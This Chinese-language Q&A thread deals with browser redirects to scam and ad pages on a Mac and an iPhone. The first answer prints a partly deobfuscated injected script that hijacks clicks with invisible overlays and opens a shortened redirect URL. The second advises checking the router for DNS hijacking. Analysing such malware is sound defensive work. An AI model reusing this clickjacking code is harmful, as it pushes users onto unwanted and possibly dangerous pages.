我遇到了一个现在让我非常烦恼的问题。在过去的几天里,我不时被重定向到我常用的网站列表。谷歌搜索并没有太大帮助,因为解决方案是否适用于 Windows 用户,是否只是另一个下载恶意软件的链接。
重定向到 gocloudly/goac: OS X El Capitan(版本 10.11.6)|Google Chrome(v 52.0.2743.116)(截图来自 Chrome 历史记录)
显示一个确认弹出窗口,提示我的软件不是最新的,并要求下载。
- 我已经检查了我的 chrome://extensions/ - 没有任何异常。
- 我还检查了我的主机文件,也没有错误。
- 清除历史记录和浏览数据。
重定向至 maxonclick/以及来自这里的许多其他重定向:iOS(版本 9.3.5)|苹果浏览器
随机重定向。
- 清除历史记录和浏览数据。
- 关闭 JavaScript(它有帮助,但实际上问题并没有解决,打开它会导致相同的行为)。
更新:
- iPhone 与家庭网络断开连接
- 已清除 Safari 缓存。
- 已连接移动互联网并且重定向消失了,所以很明显问题不在于这些设备及其软件。
答案1
我对这个问题的快速解决办法是阻止对该域的任何 DNS 请求。
这(可能)不能从根本上解决问题,但目前看来还是有效的。
我注意到的一些事情是:
- 这种情况在我的电脑和手机上以及不同的网络上都会发生,
http
恶意脚本仅在请求中注入,- 它们会拦截任何冒泡到标签的第一次点击
<html>
, - 它们似乎是通过多个来源注入的(谷歌标签管理器、谷歌标签服务和platform.twitter.com,据我所知)。
该脚本本身看起来并不危险,它只是让你打开一个带有广告和潜在危险的点击诱饵的新页面。
我在下面对其进行了部分美化:
var PPid = "p20161003pr";
var PPRet = [];
var userAgent = navigator.userAgent.toLowerCase();
var isOpera = -1 != userAgent.indexOf("opera");
var isChrome = -1 != userAgent.indexOf("chrome");
var PPdl = "3";
var PPbl = "";
var PPwl = "";
var PPmw = 450;
var urlOfDamnation = "https://goo.gl/Vjh91p";
var PPcl = [1].sort();
var PPcc = 0;
var PPac;
PPbl = PPbl == "" ? [] : PPbl.split(" ");
PPwl = PPwl == "" ? [] : PPwl.split(" ");
function PPdef(_0x50e8x14) {
return (typeof (_0x50e8x14) == "undefined") ? false : true
}
function chPrnt(_0x50e8x19, _0x50e8x14) {
var _0x50e8x17 = false;
if (_0x50e8x19 != null ) {
l = _0x50e8x14 == "w" ? PPwl : PPbl;
if (l.length > 0) {
for (var _0x50e8x18 = 0; _0x50e8x18 < l.length; _0x50e8x18++) {
if (_0x50e8x19.id == PPbl[_0x50e8x18]) {
_0x50e8x17 = true;
break
}
}
;delete l;
!_0x50e8x17 && (_0x50e8x17 = chPrnt(_0x50e8x19.parentNode, _0x50e8x14))
}
}
;return _0x50e8x17
}
function attachOpenNewTabOnClick() {
if (document.attachEvent) {
document.attachEvent("onclick", openNewTab)
} else {
if (document.addEventListener) {
document.addEventListener("click", openNewTab, false)
}
}
}
function PPnCL() {
return (PPcl.length > 0) ? PPcl.shift() : false
}
function setV(_0x50e8x20, _0x50e8x21) {
var _0x50e8x22 = PPdl
, _0x50e8x23 = new Date;
_0x50e8x23.setTime(_0x50e8x23.getTime())
}
function getCookieValue(cookieKey) {
var cookies = document.cookie;
cookieKey += "=";
var cookieStartIndex = cookies.indexOf("; " + cookieKey);
if (-1 == cookieStartIndex) {
cookieStartIndex = cookies.indexOf(cookieKey);
if (0 != cookieStartIndex) {
return null
}
} else {
cookieStartIndex += 2
}
var cookieEndIndex = cookies.indexOf(";", cookieStartIndex);
if (-1 == cookieEndIndex) {
(cookieEndIndex = cookies.length);
}
return unescape(cookies.substring(cookieStartIndex + cookieKey.length, cookieEndIndex))
}
function openNewTab() {
var _0x50e8x14 = getCookieValue("PP_CL" + PPid) ? parseInt(getCookieValue("PP_CL" + PPid)) : PPcc;
_0x50e8x14++;
PPac !== false && (setV("PP_CL" + PPid, _0x50e8x14));
if (!getCookieValue("PP_ID" + PPid + "." + PPac) && _0x50e8x14 == PPac) {
setV("PP_ID" + PPid + "." + PPac, 1);
if (document.createEvent && (isOpera || isChrome)) {
var _0x50e8x18 = document.createElement("a");
_0x50e8x18.href = urlOfDamnation;
_0x50e8x18.target = "_blank";
var _0x50e8x19 = document.createEvent("MouseEvents");
_0x50e8x19.initMouseEvent("click", !0, !0, window, 1, 0, 0, 0, 0, !0, !1, !1, !1, 1, null );
_0x50e8x18.dispatchEvent(_0x50e8x19)
} else {
_0x50e8x18 = window.open("about:blank", "win" + Math.floor(9999999 * Math.random()) + 1, "toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=0,left=0,width=" + window.screen.width + "px,height=" + window.screen.height + "px");
with (_0x50e8x18) {
opener.window.focus(),
_0x50e8x18.location = urlOfDamnation,
"undefined" != typeof window.mozPaintCount && window.open("about:blank").close()
}
}
;for (var _0x50e8x18 = document.getElementsByClassName("mtaddiv"), _0x50e8x19 = _0x50e8x18.length, _0x50e8x17 = 0; _0x50e8x17 < _0x50e8x19; _0x50e8x17++) {
"object" == typeof _0x50e8x18[_0x50e8x17] && _0x50e8x18[_0x50e8x17].setAttribute("style", "position:none;left:0px;top:0px;height:0;width:0;z-index:0;display:none;")
}
;PPac = PPnCL()
}
;_0x50e8x14 == PPac - 1 && (addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick("iframe"),
addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick("object"),
addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick("embed"));
PPcc = _0x50e8x14
}
function addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick(tagName) {
try {
if (!getCookieValue("PP_ID" + PPid + "." + PPac)) {
var elements = document.getElementsByTagName(tagName);
var elementsCount = elements.length;
for (var index = 0; index < elementsCount; index++) {
var elementOffsetWidth = elements[index].offsetWidth;
var elementOffsetHeight = elements[index].offsetHeight;
var check = true;
if (PPwl.length > 0 && !chPrnt(elements[index], "w")) {
check = false;
}
if (check && (PPbl.length > 0 && chPrnt(elements[index], "b"))) {
check = false;
}
if (elementOffsetWidth > PPmw && check) {
var mtadDivElement = document.createElement("div");
mtadDivElement.className = "mtaddiv";
var elementDimensions = elements[index].getBoundingClientRect();
var dimensions = {
top: Math.round(elementDimensions.top + (window.pageYOffset || (document.documentElement.scrollTop || document.body.scrollTop)) - (document.documentElement.clientTop || (document.body.clientTop || 0))),
left: Math.round(elementDimensions.left + (window.pageXOffset || (document.documentElement.scrollLeft || document.body.scrollLeft)) - (document.documentElement.clientLeft || (document.body.clientLeft || 0)))
};
mtadDivElement.setAttribute("style", "position: absolute;left:" + dimensions.left + "px;top:" + dimensions.top + "px;height:" + elementOffsetHeight + "px;width:" + elementOffsetWidth + "px;z-index:899");
if (PPwl.length > 0) {
attachOpenNewTabOnClick(mtadDivElement);
}
document.body.appendChild(mtadDivElement)
}
}
}
} catch (e) {}
}
function bcStart() {
if (!startScript) {
startScript = !0;
PPcc = getCookieValue("PP_CL" + PPid) ? parseInt(getCookieValue("PP_CL" + PPid)) : 0;
while (PPcl.length > 0) {
PPac = PPnCL();
if (PPac > PPcc) {
break
}
}
;PPcl.length == 0 && PPac <= PPcc && (PPac = false);
if (PPdef(PPRet)) {
if (PPRet.length > 0) {
var _0x50e8x2f = "";
for (var _0x50e8x23 = 0; _0x50e8x23 < PPRet.length; _0x50e8x23++) {
_0x50e8x2f = _0x50e8x2f + "&" + PPRet[_0x50e8x23]
}
;urlOfDamnation = urlOfDamnation + _0x50e8x2f
}
}
;(PPcc == PPac - 1 && PPac) && (addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick("iframe"),
addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick("object"),
addMtadDivElementOnTopOfTagElementsAndAttachOpenNewTabOnClick("embed"));
for (var _0x50e8x20 = PPbl, _0x50e8x21 = _0x50e8x20.length, _0x50e8x2a = 0; _0x50e8x2a < _0x50e8x21; _0x50e8x2a++) {
var _0x50e8x2c = document.getElementById(_0x50e8x20[_0x50e8x2a]);
null != _0x50e8x2c && (_0x50e8x2c.onmouseup = function(_0x50e8x18) {
_0x50e8x18 = _0x50e8x18 || window.event;
_0x50e8x18.stopPropagation ? _0x50e8x18.stopPropagation() : _0x50e8x18.cancelBubble = !0
}
)
}
;if (PPwl.length > 0) {
for (_0x50e8x23 = 0; _0x50e8x23 < PPwl.length; _0x50e8x23++) {
var _0x50e8x22 = document.getElementById(PPwl[_0x50e8x23]);
_0x50e8x22 != null && attachOpenNewTabOnClick(_0x50e8x22)
}
} else {
attachOpenNewTabOnClick(document)
}
}
}
var startTimeout = setTimeout(bcStart, 3000)
, startScript = null ;
if ("function" == typeof window.addEventListener) {
window.addEventListener("load", function() {
clearInterval(startTimeout);
bcStart()
}, !1)
} else {
try {
window.attachEvent("onload", function() {
clearInterval(startTimeout);
bcStart()
})
} catch (D) {}
}
document.getElementsByClassName = function(className) {
var matchingElements = [];
className = new RegExp("\b" + className + "\b");
for (var allDOMElements = this.getElementsByTagName("*"), index = 0; index < allDOMElements.length; index++) {
if (className.test(allDOMElements[index].className)) {
matchingElements.push(allDOMElements[index])
}
}
;return matchingElements
}
答案2
我见过恶意软件/漏洞利用程序会破坏您的家庭网关路由器,将 DNS 请求重定向到恶意服务器。我还见过恶意软件让受感染的 PC 充当网络上的竞争 DHCP 服务器,该服务器使用 DHCP 告诉客户端设备使用恶意 DNS 服务器。
您需要确定路由器是否已被入侵,以及是否可以通过将其重置为出厂默认设置并从头开始重新配置来清除它。务必设置自定义强管理员密码和单独的强无线安全密码;不要保留它们的默认值,尤其是如果您的路由器在标签上显示其默认值。此外,如果您在外出时确实不需要能够更改路由器上的设置,请务必禁用路由器从 WAN/Internet 重新配置的功能。将路由器重置为出厂设置并重新配置后,请检查供应商提供的固件更新。
您还应该对网络上的设备(尤其是 Windows PC)进行恶意软件扫描,因为它们由于其受欢迎程度而比任何其他平台都更容易受到恶意软件和漏洞的攻击。